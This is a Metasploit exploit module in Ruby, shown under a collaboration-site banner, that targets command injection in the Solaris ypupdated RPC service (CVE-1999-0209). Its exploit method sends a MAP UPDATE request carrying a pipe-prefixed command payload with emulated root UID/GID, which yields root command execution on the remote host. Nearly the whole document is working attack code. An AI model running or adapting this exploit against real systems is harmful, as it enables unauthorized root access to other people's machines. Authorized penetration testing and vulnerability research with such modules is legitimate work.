Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::SunRPC
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'Solaris ypupdated Command Execution',
14
      'Description'    => %q{
15
        This exploit targets a weakness in the way the ypupdated RPC
16
        application uses the command shell when handling a MAP UPDATE
17
        request.  Extra commands may be launched through this command
18
        shell, which runs as root on the remote host, by passing
19
        commands in the format '|<command>'.
20

21
        Vulnerable systems include Solaris 2.7, 8, 9, and 10, when
22
        ypupdated is started with the '-i' command-line option.
23
      },
24
      'Author'         => [ 'I)ruid <druid[at]caughq.org>' ],
25
      'License'        => MSF_LICENSE,
26
      'References'     =>
27
        [
28
          ['CVE', '1999-0209'],
29
          ['OSVDB', '11517'],
30
          ['BID', '1749'],
31
        ],
32
      'Privileged'     => true,
33
      'Platform'       => %w{ solaris unix },
34
      'Arch'           => ARCH_CMD,
35
      'Payload'        =>
36
        {
37
          'Space'    => 1024,
38
          'DisableNops' => true,
39
          'Compat'      =>
40
            {
41
              'PayloadType' => 'cmd',
42
              'RequiredCmd' => 'generic perl telnet',
43
            }
44
        },
45
      'Targets'        => [ ['Automatic', { }], ],
46
      'DefaultTarget'  => 0,
47
      'DisclosureDate' => '1994-12-12'
48
    ))
49

50
    register_options(
51
      [
52
        OptString.new('HOSTNAME', [false, 'Remote hostname', 'localhost']),
53
        OptInt.new('GID', [false, 'GID to emulate', 0]),
54
        OptInt.new('UID', [false, 'UID to emulate', 0])
55
      ], self.class
56
    )
57
  end
58

59
  def exploit
60
    hostname  = datastore['HOSTNAME']
61
    program   = 100028
62
    progver   = 1
63
    procedure = 1
64

65
    print_status('Sending PortMap request for ypupdated program')
66
    pport = sunrpc_create('udp', program, progver)
67

68
    print_status("Sending MAP UPDATE request with command '#{payload.encoded}'")
69
    print_status('Waiting for response...')
70
    sunrpc_authunix(hostname, datastore['UID'], datastore['GID'], [])
71
    command = '|' + payload.encoded
72
    msg = Rex::Encoder::XDR.encode(command, 2, 0x78000000, 2, 0x78000000)
73
    sunrpc_call(procedure, msg)
74

75
    sunrpc_destroy
76

77
    print_status('No Errors, appears to have succeeded!')
78
  rescue ::Rex::Proto::SunRPC::RPCTimeout
79
    print_warning('Warning: ' + $!)
80
  end
81
end
82

83